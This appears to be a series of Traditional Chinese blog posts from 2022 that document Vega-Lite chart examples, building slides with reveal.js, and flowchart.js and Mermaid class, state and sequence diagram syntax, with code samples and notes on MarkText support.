可以直接從 Example Gallery | Vega-Lite 查看支援的圖表,然後根據自己想要使用的圖表,看範例去修改。

BarChart

Simple bar chart

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "description": "A simple bar chart with embedded data.",
  "data": {
    "values": [
      {"a": "A", "b": 28}, {"a": "B", "b": 55}, {"a": "C", "b": 43},
      {"a": "D", "b": 91}, {"a": "E", "b": 81}, {"a": "F", "b": 53},
      {"a": "G", "b": 19}, {"a": "H", "b": 87}, {"a": "I", "b": 52}
    ]
  },
  "mark": "bar",
  "encoding": {
    "x": {"field": "a", "type": "nominal", "axis": {"labelAngle": 0}},
    "y": {"field": "b", "type": "quantitative"}
  }
}

render

Arrgegate Bar Chart

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "description": "A bar chart showing the US population distribution of age groups in 2000.",
  "height": {"step": 17},
  "data": { "url": "https://vega.github.io/vega-lite/examples/data/population.json"},
  "transform": [{"filter": "datum.year == 2000"}],
  "mark": "bar",
  "encoding": {
    "y": {"field": "age"},
    "x": {
      "aggregate": "sum", "field": "people",
      "title": "population"
    }
  }
}

render

Group Bar Chart

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "data": {
    "values": [
      {"category":"A", "group": "x", "value":0.1},
      {"category":"A", "group": "y", "value":0.6},
      {"category":"A", "group": "z", "value":0.9},
      {"category":"B", "group": "x", "value":0.7},
      {"category":"B", "group": "y", "value":0.2},
      {"category":"B", "group": "z", "value":1.1},
      {"category":"C", "group": "x", "value":0.6},
      {"category":"C", "group": "y", "value":0.1},
      {"category":"C", "group": "z", "value":0.2}
    ]
  },
  "mark": "bar",
  "encoding": {
    "x": {"field": "category"},
    "y": {"field": "value", "type": "quantitative"},
    "xOffset": {"field": "group"},
    "color": {"field": "group"}
  }
}

render

Stacked Bar Chart

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "data": {"url": "https://vega.github.io/vega-lite/examples/data/seattle-weather.csv"},
  "mark": "bar",
  "encoding": {
    "x": {
      "timeUnit": "month",
      "field": "date",
      "type": "ordinal",
      "title": "Month of the year"
    },
    "y": {
      "aggregate": "count",
      "type": "quantitative"
    },
    "color": {
      "field": "weather",
      "type": "nominal",
      "scale": {
        "domain": ["sun", "fog", "drizzle", "rain", "snow"],
        "range": ["#e7ba52", "#c7c7c7", "#aec7e8", "#1f77b4", "#9467bd"]
      },
      "title": "Weather type"
    }
  }
}

render

Histrogram

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "data": {"url": "https://vega.github.io/vega-lite/examples/data/movies.json"},
  "mark": "bar",
  "encoding": {
    "x": {
      "bin": true,
      "field": "IMDB Rating"
    },
    "y": {"aggregate": "count"}
  }
}

render

ScatterPlot

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "description": "A scatterplot showing horsepower and miles per gallons for various cars.",
  "data": {"url": "https://vega.github.io/vega-lite/examples/data/cars.json"},
  "mark": "point",
  "encoding": {
    "x": {"field": "Horsepower", "type": "quantitative"},
    "y": {"field": "Miles_per_Gallon", "type": "quantitative"}
  }
}

render

LineChart

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "description": "Stock prices of 5 Tech Companies over Time.",
  "data": {"url": "https://vega.github.io/vega-lite/examples/data/stocks.csv"},
  "mark": {
    "type": "line",
    "point": true
  },
  "encoding": {
    "x": {"timeUnit": "year", "field": "date"},
    "y": {"aggregate":"mean", "field": "price", "type": "quantitative"},
    "color": {"field": "symbol", "type": "nominal"}
  }
}

render

AreaChart

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "width": 300,
  "height": 200,
  "data": {"url": "https://vega.github.io/vega-lite/examples/data/unemployment-across-industries.json"},
  "mark": "area",
  "encoding": {
    "x": {
      "timeUnit": "yearmonth", "field": "date",
      "axis": {"format": "%Y"}
    },
    "y": {
      "aggregate": "sum", "field": "count",
      "title": "count"
    }
  }
}

render

Table-based Plots

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "data": {"url": "https://vega.github.io/vega-lite/examples/data/cars.json"},
  "mark": "rect",
  "encoding": {
    "y": {"field": "Origin", "type": "nominal"},
    "x": {"field": "Cylinders", "type": "ordinal"},
    "color": {"aggregate": "mean", "field": "Horsepower"}
  },
  "config": {
    "axis": {"grid": true, "tickBand": "extent"}
  }
}

render

Circulat Plots

PieChart

{
  "$schema": "https://vega.github.io/schema/vega-lite/v5.json",
  "description": "A simple pie chart with labels.",
  "data": {
    "values": [
      {"category": "a", "value": 4},
      {"category": "b", "value": 6},
      {"category": "c", "value": 10},
      {"category": "d", "value": 3},
      {"category": "e", "value": 7},
      {"category": "f", "value": 8}
    ]
  },
  "encoding": {
    "theta": {"field": "value", "type": "quantitative", "stack": true},
    "color": {"field": "category", "type": "nominal", "legend": null}
  },
  "layer": [{
    "mark": {"type": "arc", "outerRadius": 80}
  }, {
    "mark": {"type": "text", "radius": 90},
    "encoding": {
      "text": {"field": "category", "type": "nominal"}
    }
  }]
}

render

References

用 VEGA 資料視覺化

A High-Level Grammar of Interactive Graphics | Vega-LiteA High-Level Grammar of Interactive Graphics | Vega-Lite

用 Reveal.js 製作 Slide

通常使用 reveal.js 會需要用 web server 將 js, css, html 放在上面,以便遠端存取這些資源,或是搭配 nodejs 使用。不過也可以將 GitHub - hakimel/reveal.js: The HTML Presentation Framework clone 下來,然後複製 dist 與 plugin 目錄的資料,就可以直接使用。

用 JS 製作 slide,有一些優點是 PowerPoint 沒有的,因為是 JS,所以可以做 code highlight,還有更彈性的動畫功能,可更正確地以 MathJS 顯示數學方程式,簡報也因為 script 化,size 會縮小很多,啟動也比較快。Reveal.js 以 plugin 的方式,提供外掛的功能。

內建有這些 plugin

Name Description
RevealHighlight Syntax highlighted code.
plugin/highlight/highlight.js
RevealMarkdown Write content using Markdown.
plugin/markdown/markdown.js
RevealSearch Press CTRL+Shift+F to search slide content.
plugin/search/search.js
RevealNotes Show a speaker view in a separate window.
plugin/notes/notes.js
RevealMath Render math equations.
plugin/math/math.js
RevealZoom Alt+click to zoom in on elements (CTRL+click in Linux).
plugin/zoom/zoom.js

簡報的 theme 有: Black (default)WhiteLeagueSkyBeigeSimple SerifBloodNightMoonSolarized

這是兩頁簡單的投影片

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

        <title>slide</title>

        <link rel="stylesheet" href="dist/reset.css">
        <link rel="stylesheet" href="dist/reveal.css">
        <link rel="stylesheet" href="dist/theme/black.css">

        <!-- Theme used for syntax highlighted code -->
        <link rel="stylesheet" href="plugin/highlight/monokai.css">
    </head>
    <body>
        <div class="reveal">
            <div class="slides">
                <section>Slide 1</section>
                <section>Slide 2</section>
            </div>
        </div>

        <script src="dist/reveal.js"></script>
        <script src="plugin/notes/notes.js"></script>
        <script src="plugin/markdown/markdown.js"></script>
        <script src="plugin/highlight/highlight.js"></script>
        <script>
            // More info about initialization & config:
            // - https://revealjs.com/initialization/
            // - https://revealjs.com/config/
            Reveal.initialize({
                hash: true,

                // Learn about plugins: https://revealjs.com/plugins/
                plugins: [ RevealMarkdown, RevealHighlight, RevealNotes ]
            });
        </script>
    </body>
</html>

如果不下載 reveal.js 的 repository,也可以使用 reveal.js - Libraries - cdnjs

去掉 library 及 css,投影片的部分為

        <div class="reveal">
            <div class="slides">
                <section>Slide 1</section>
                <section>Slide 2</section>
            </div>
        </div>

initialization

library 初始化有以下這些設定值

<script>
      Reveal.initialize({
          // 參數設定[註1]
          controls: true, // 控制按鈕
          controlsTutorial: true, // 引導初學者功能
          controlsLayout: 'bottom-right', // 控制按鈕位置
          controlsBackArrows: 'faded', // 返回按鈕顯示方式
          progress: true, // 簡報進度條
          slideNumber: true, // 簡報當前頁碼
          history: false, // 所有動作儲存在歷史紀錄
          keyboard: true, // 鍵盤快捷鍵
          overview: true, // 簡報導覽模式
          center: true, // 簡報垂直置中
          touch: true, // 觸碰模式
          loop: false, // 循環模式
          rtl: false, // 簡報方向為RTL模式
          shuffle: false, // 簡報顯示順序為隨機模式
          autoPlayMedia: null, // 簡報內影音媒體為自動播放
          autoSlide: 0, // 自動切換的秒數,0秒代表不自動
          autoSlideStoppable: true, // 使用者在操作時停止自動切換
          autoSlideMethod: Reveal.navigateNext, // 自動切換觸發的函式
          mouseWheel: false, // 滑鼠滾輪可以切換簡報
          transition: 'slide', // 轉場動畫
          transitionSpeed: 'default', // 轉場速度
          backgroundTransition: 'fade', // 簡報背景的轉場動畫
          parallaxBackgroundImage: '', // 背景視差圖片
          parallaxBackgroundSize: '', // 背景視差圖片尺寸(單位: 像素)
          parallaxBackgroundHorizontal: null, // 水平背景視差,0為停止視差,null為自動計算(單位: 像素)
          parallaxBackgroundVertical: null // 垂直背景視差,0為停止視差,null為自動計算(單位: 像素)
      });
  </script>

Vertical Slide

<section>Horizontal Slide</section>
<section>
  <section>Vertical Slide 1</section>
  <section>Vertical Slide 2</section>
</section>

Auto-Animate

切換頁面後,以動畫方式顯示投影片

<section data-auto-animate>
  <h1>Auto-Animate</h1>
</section>
<section data-auto-animate>
  <h1 style="margin-top: 100px; color: red;">Auto-Animate</h1>
</section>

Auto-Slide

自動播放投影片

// Slide every five seconds
Reveal.initialize({
  autoSlide: 5000,
  loop: true
});

Speaker View

showNotes 要設定為 true

<section>
  <h2>Some Slide</h2>

  <aside class="notes">
    Shhh, these are your private notes 📝
  </aside>
</section>

Slide Number

顯示簡報頁碼

Reveal.initialize({ slideNumber: true });

Touch Navigation

在 touch screen 是否能用滑動方式切換投影片

Reveal.initialize({
  touch: false
})

PDF Export

在簡報網址後面加上 ?print-pdf,可將簡報顯示為列印模式,然後就可以用 chrome 列印為 PDF

http://localhost:8000/?print-pdf

Overview Mode

在簡報中用 »ESC« or »O« 按鍵,可切換 Overview mode

Fullscreen Mode

在簡報中用 »F« 按鍵,可切換 Fullscreen

Example

一些簡報的範例

<div class="reveal">
<div class="slides">
    <section>
        <h1>Reveal.js Slide</h1>
        <p>簡報 demo</p>
    </section>
    <section>
        <h2>link</h2>
        <p>這是<a href="https://www.google.com/" target="_blank">測試連結</a></p>
    </section>
    <section>
        <h2>code highlight</h2>
        <pre><code class="hljs java" data-trim contenteditable data-line-numbers>
public class HelloWorld
{
    public static void main(String[] args) {
        System.out.println("Hello World!");
    }
}
        </code></pre>
    </section>

    <section data-markdown>
        <h2>markdown 的 math 聯立方程式</h2>
`$$ \begin{cases}
a_1x+b_1y+c_1z=d_1 \\
a_2x+b_2y+c_2z=d_2 \\
a_3x+b_3y+c_3z=d_3
\end{cases} $$`
    </section>

    <section>
        <h2>The Lorenz Equations</h2>
\[\begin{aligned}
  \dot{x} & = \sigma(y-x) \\
  \dot{y} & = \rho x - y - xz \\
  \dot{z} & = -\beta z + xy
  \end{aligned} \]
    </section>

    <section data-markdown>
        <textarea data-template>
        ## Slide 1
        A paragraph with some text and a [link](https://www.google.com).
        ---
        ## Slide 2
        ---
        ## Slide 3
        </textarea>
    </section>
</div>
</div>

References

使用reveal.js製作精美的網頁版PPT | 程式前沿

使用 reveal.js 建立投影片

用 Markdown 與 Reveal.js 來製作簡報 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天

reveal.js:用網頁製作簡報的 HTML5 架構 - G. T. Wang

2022/09/08

flowchat.js

MarkText 除了能用 mermaid 的 flowchart 以外,還支援 flowchart.js

語法

[] 裡面的 item 是 optional

nodeName=>nodeType: nodeText[|flowstate][:>urlLink]

nodeName 是 node variable

nodeType 定義該 node 的類型

nodeText 是 node 裡面的文字

flowstate 為 optional,用 |指定多個 style

urlLink 為 optional,用 :> 指定 link,在 MarkText 裡面,link 沒有作用。但輸出為 pdf 後,可在pdf 裡面的圖表上使用 link,連接到該網頁。

Node Types

start 為 first node

end 為 last node

operatoin 是方塊文字,代表一個動作

inputoutput 是 IO

subroutine 是另一個 flowchart

condition 為 logical condition

parallel 是同時發生的兩個 flow

Connections

<node variable name>[(<specification1>[, <specification2])]-><node variable name>[[(<specification1>[, <specification2])]-><node variable name>]

[] 裡面的 item 是 optional

用 -> 連接 nodes

ex:

nodeVar1->nodeVar2
nodeVar2->nodeVar3

或
nodeVar1->nodeVar2->nodeVar3

Directions

離開 node 的 connection 的方向

  • left

  • right

  • top

  • down

ex:

startVar(<direction>)->nextNode
operationVar(<direction>)->nextNode

conditionalVar(yes, <direction>)->nextNode1
conditionalVar(no,  <direction>)->nextNode2

parallelVar(path1, <direction>)->nextNode1
parallelVar(path2, <direction>)->nextNode2
parallelVar(path3, <direction>)->nextNode3

Example

st=>start: Start:>http://www.google.com[blank]
e=>end:>http://www.google.com
op1=>operation: My Operation
sub1=>subroutine: My Subroutine
cond=>condition: Yes or No?:>http://www.google.com
io=>inputoutput: catch something...
para=>parallel: parallel tasks

st->op1->cond
cond(yes)->io->e
cond(no)->para
para(path1, bottom)->sub1(right)->op1
para(path2, top)->op1

render

References

flowchart.js

GitHub - adrai/flowchart.js: Draws simple SVG flow chart diagrams from textual representation of the diagram

2022/09/05

Mermaid - Class Diagram

classDiagram
      Animal <|-- Duck
      Animal <|-- Fish
      Animal <|-- Zebra
      Animal : +int age
      Animal : +String gender
      Animal: +isMammal()
      Animal: +mate()
      class Duck{
          +String beakColor
          +swim()
          +quack()
      }
      class Fish{
          -int sizeInFeet
          -canEat()
      }
      class Zebra{
          +bool is_wild
          +run()
      }

render

語法

class 包含三個部分

  • 最上面是 class name,第一個字母是大寫

  • 中間是 attributes,第一個字母小寫,可加上類別

  • 最下面是 operations,第一個字母小寫

classDiagram
    class BankAccount
    BankAccount : +String owner
    BankAccount : +Bigdecimal balance
    BankAccount : +deposit(amount)
    BankAccount : +withdrawl(amount)

render

定義 class

  • 關鍵字為 class ex: class Animal

  • 兩個 class 之間有繼承關係 ex: Animal <|-- Dog

classDiagram
    class Animal
    Animal <|-- Dog

render

定義 members

有兩種寫法

classDiagram
 class BankAccount
 BankAccount : +String owner
 BankAccount : +BigDecimal balance
 BankAccount : +deposit(amount)
 BankAccount : +withdrawal(amount)

class BankAccount2{
    +String owner
    +BigDecimal balance
    +deposit(amount)
    +withdrawl(amount)
}

render

method 後面可加上 return type

classDiagram
class BankAccount{
    +String owner
    +BigDecimal balance
    +deposit(amount) bool
    +withdrawl(amount) int
}

GenericType: 在 Java 有時會用到 List<String> 這樣的資料結構,這邊用這樣的語法表示 List~string~

classDiagram
class Square~Shape~{
    int id
    List~Int~ position
    setPoints(List~Int~ points)
    getPoints() List~Int~
}

Square : -List~String~ messages
Square : +setMessages(List~String~ messages)
Square : +getMessages() List~String~

render

Visibility 有四種

  • + Public
  • - Private
  • # Protected
  • ~ Package/Internal

另外可在 method 與 field 後面加上 classifiers

  • * Abstract method e.g.: someAbstractMethod()*
  • $ Static method e.g.: someStaticMethod()$
  • $ Static field e.g.: String someField$

## 定義關係

[classA][Arrow][ClassB]
[classA][Arrow][ClassB]:LabelText
Type Description
<\ --
*-- Composition
o-- Aggregation
--> Association
-- Link (Solid)
..> Dependency
..\ >
.. Link (Dashed)

example : 後面是 label,可不填寫

classDiagram
classA --|> classB : Inheritance
classC --* classD : Composition
classE --o classF : Aggregation
classG --> classH : Association
classI -- classJ : Link(Solid)
classK ..> classL : Dependency
classM ..|> classN : Realization
classO .. classP : Link(Dashed)

render

classDiagram
classA <|-- classB : implements
classC *-- classD : composition
classE o-- classF : association

render

雙向關係

[Relation Type][Link][Relation Type]

Relation Type:

Type Description
<\
* Composition
o Aggregation
> Association
< Association
\ >

Link

Type Description
-- Solid
.. Dashed

cardinality/multiplicity on relations

  • 1 Only 1
  • 0..1 Zero or One
  • 1..* One or more
  • * Many
  • n n {where n>1}
  • 0..n zero to n {where n>1}
  • 1..n one to n {where n>1}

語法

[classA] "cardinality1" [Arrow] "cardinality2" [ClassB]:LabelText

ex:

classDiagram
    Customer "1" --> "*" Ticket
    Student "1" --> "1..*" Course
    Galaxy --> "many" Star : Contains

render

Annotations on classes

用在 interface 或 abstract class

  • <<Interface>> To represent an Interface class
  • <<abstract>> To represent an abstract class
  • <<Service>> To represent a service class
  • <<enumeration>> To represent an enum

ex

classDiagram

class Shape
<<interface>> Shape
Shape : noOfVertices
Shape : draw()

class Color
<<enumeration>> Color
Color: RED
Color: BLUE
Color: GREEN
Color: WHITE
Color: BLACK

render

2022/08/26

Mermaid - State Diagram

stateDiagram-v2
    [*] --> Still
    Still --> [*]

    Still --> Moving
    Moving --> Still
    Moving --> Crash
    Crash --> [*]

舊版是 stateDiagram,節點看起來比較小,故應該使用 stateDiagram-v2

States

有三種寫法

stateDiagram-v2
    s1
    state "s2 state description" as s2
    s3 : s3 state description

render 結果

Transition

stateDiagram-v2
    s1 --> s2
    s2 --> s3: A transition

render 結果

Start & End

stateDiagram-v2
    [*] --> s1
    s1 --> [*]

render 結果

Composite State

stateDiagram-v2
    [*] --> First
    First --> Third

    state First {
        [*] --> Second

        state Second {
            [*] --> second
            second --> [*]
        }
    }
    state Third {
        [*] --> third
        third --> [*]
    }

render 結果

Choice

類似流程圖,可判斷選擇路徑

stateDiagram-v2
    state if_state <<choice>>
    [*] --> IsPositive
    IsPositive --> if_state
    if_state --> False: if n < 0
    if_state --> True : if n >= 0

Fork

stateDiagram-v2
    state fork_state <<fork>>
      [*] --> fork_state
      fork_state --> State2
      fork_state --> State3

      state join_state <<join>>
      State2 --> join_state
      State3 --> join_state
      join_state --> State4
      State4 --> [*]

render

Note

在 node 的 right of 或 left of 放上 note

stateDiagram-v2
        State1: The state with a note
        note right of State1
            Important information! You can write
            notes.
        end note
        State1 --> State2
        note left of State2 : This is the note to the left.

render

Concurrency

可用 -- 表示同時發生的 state

stateDiagram-v2
    [*] --> Active

    state Active {
        [*] --> NumLockOff
        NumLockOff --> NumLockOn : EvNumLockPressed
        NumLockOn --> NumLockOff : EvNumLockPressed
        --
        [*] --> CapsLockOff
        CapsLockOff --> CapsLockOn : EvCapsLockPressed
        CapsLockOn --> CapsLockOff : EvCapsLockPressed
        --
        [*] --> ScrollLockOff
        ScrollLockOff --> ScrollLockOn : EvScrollLockPressed
        ScrollLockOn --> ScrollLockOff : EvScrollLockPressed
    }

render

Direction

將圖表方向由上下改為 LR, MarkText 不支援 direction

stateDiagram
    direction LR
    [*] --> A
    A --> B
    B --> C
    state B {
      direction LR
      a --> b
    }
    B --> D

2022/08/22

Mermaid - Sequence Diagram

mermaid 支援 UML 中的 sequence diagram

Syntax

Participants 明確標示參與的角色,以方框表示

sequenceDiagram
    participant Alice
    participant John
    Alice->>John: Hello John, how are you?
    John-->>Alice: Great!
    Alice->>John: See you later!

render

participant 可替換為 actor,會改成用 UML 代表人物的 actor 表示。(MarkText 不支援 actor 語法)

sequenceDiagram
    actor Alice
    actor Bob
    Alice->>Bob: Hi Bob
    Bob->>Alice: Hi Alice

alias 是 actor 的縮寫 ex: participant A as Alice

sequenceDiagram
    participant A as Alice
    participant J as John
    A->>J: Hello John, how are you?
    J->>A: Great!

render

Message

可用實線或虛線,語法為

[Actor][Arrow][Actor]:Message text

Arrow 的部分有六種

Type Description
-> Solid line without arrow
--> Dotted line without arrow
->> Solid line with arrowhead
-->> Dotted line with arrowhead
-x Solid line with a cross at the end
--x Dotted line with a cross at the end.
-) Solid line with an open arrow at the end (async)
--) Dotted line with a open arrow at the end (async)
sequenceDiagram
    participant A as Alice
    participant J as John
    A->J: M1
    A-->J: M2
    A->>J: M3
    A-->>J: M4
    A-xJ: M5
    A--xJ: M6
    %%A-)J: M7
    %%A--)J: M8

render

Activations

可 activate/deactivate actor,在 Sequence Diagram 裡面代表該 actor 花時間處理一些工作,語法為 activate/deactivate,也可在 message arrow 後面使用 + -。

activatation 可在同一個 actor 裡面 stacked

sequenceDiagram
    Alice->>John: Hello John, how are you?
    activate John
    John-->>Alice: Great!
    deactivate John

    Alice->>+John: Hello John, how are you?
    John-->>-Alice: Great!

    Alice->>+John: Hello John, how are you?
    Alice->>+John: John, can you hear me?
    John-->>-Alice: Hi Alice, I can hear you!
    John-->>-Alice: I feel great!

render

Note

可在 sequence diagram 加上 note,

Note [ right of | left of | over ] [Actor]: Text in note content

sequenceDiagram
    participant John
    Note right of John: Text of John
    Alice->John: Hello John, how are you?
    Note over Alice,John: A Note Over Alice, John

render

Loop

語法為

loop Loop text
... statements ...
end
sequenceDiagram
    Alice->John: Hello John, how are you?
    loop Every minute
        John-->Alice: Great!
    end

render

Alt

代表 alternative path,以下為語法,可不寫 else

alt Describing text
... statements ...
else
... statements ...
end
sequenceDiagram
    Alice->>Bob: Hello Bob, how are you?
    alt is sick
        Bob->>Alice: Not so good :(
    else is well
        Bob->>Alice: Feeling fresh like a daisy
    end
    opt Extra response
        Bob->>Alice: Thanks for asking
    end

render

Parallel

同時發生的動作

par [Action 1]
... statements ...
and [Action 2]
... statements ...
and [Action N]
... statements ...
end

example

sequenceDiagram
    par Alice to Bob
        Alice->>Bob: Hello guys!
    and Alice to John
        Alice->>John: Hello guys!
    end
    Bob-->>Alice: Hi Alice!
    John-->>Alice: Hi Alice!

render

可以 nest parallel blocks

sequenceDiagram
    %% 可 nest parallel blocks
    par Alice to Bob
        Alice->>Bob: Go help John
    and Alice to John
        Alice->>John: I want this done today
        par John to Charlie
            John->>Charlie: Can we do this today?
        and John to Diana
            John->>Diana: Can you help us today?
        end
    end

render

hightlight 背景

以 rgb 或 rgba 定義顏色

rect rgb(0, 255, 0)
... content ...
end

rect rgba(0, 0, 255, .1)
... content ...
end

example

sequenceDiagram
    participant Alice
    participant John

    rect rgb(191, 223, 255)
    note right of Alice: Alice calls John.
    Alice->>+John: Hello John, how are you?
    rect rgb(200, 150, 255)
    Alice->>+John: John, can you hear me?
    John-->>-Alice: Hi Alice, I can hear you!
    end
    John-->>-Alice: I feel great!
    end
    Alice ->>+ John: Did you want to go to the game tonight?
    John -->>- Alice: Yeah! See you there.

render

Sequence Number

autonumber

sequenceDiagram
    autonumber
    Alice->>John: Hello John, how are you?
    loop Healthcheck
        John->>John: Fight against hypochondria
    end
    Note right of John: Rational thoughts!
    John-->>Alice: Great!
    John->>Bob: How about you?
    Bob-->>John: Jolly good!

render

Actor Menu

語法,在 MarkText 不能使用

link <actor>: <link-label> @ <link-url>
sequenceDiagram
    participant Alice
    participant John
    link Alice: Dashboard @ https://dashboard.contoso.com/alice
    link Alice: Wiki @ https://wiki.contoso.com/alice
    link John: Dashboard @ https://dashboard.contoso.com/john
    link John: Wiki @ https://wiki.contoso.com/john
    Alice->>John: Hello John, how are you?
    John-->>Alice: Great!
    Alice->>John: See you later!

render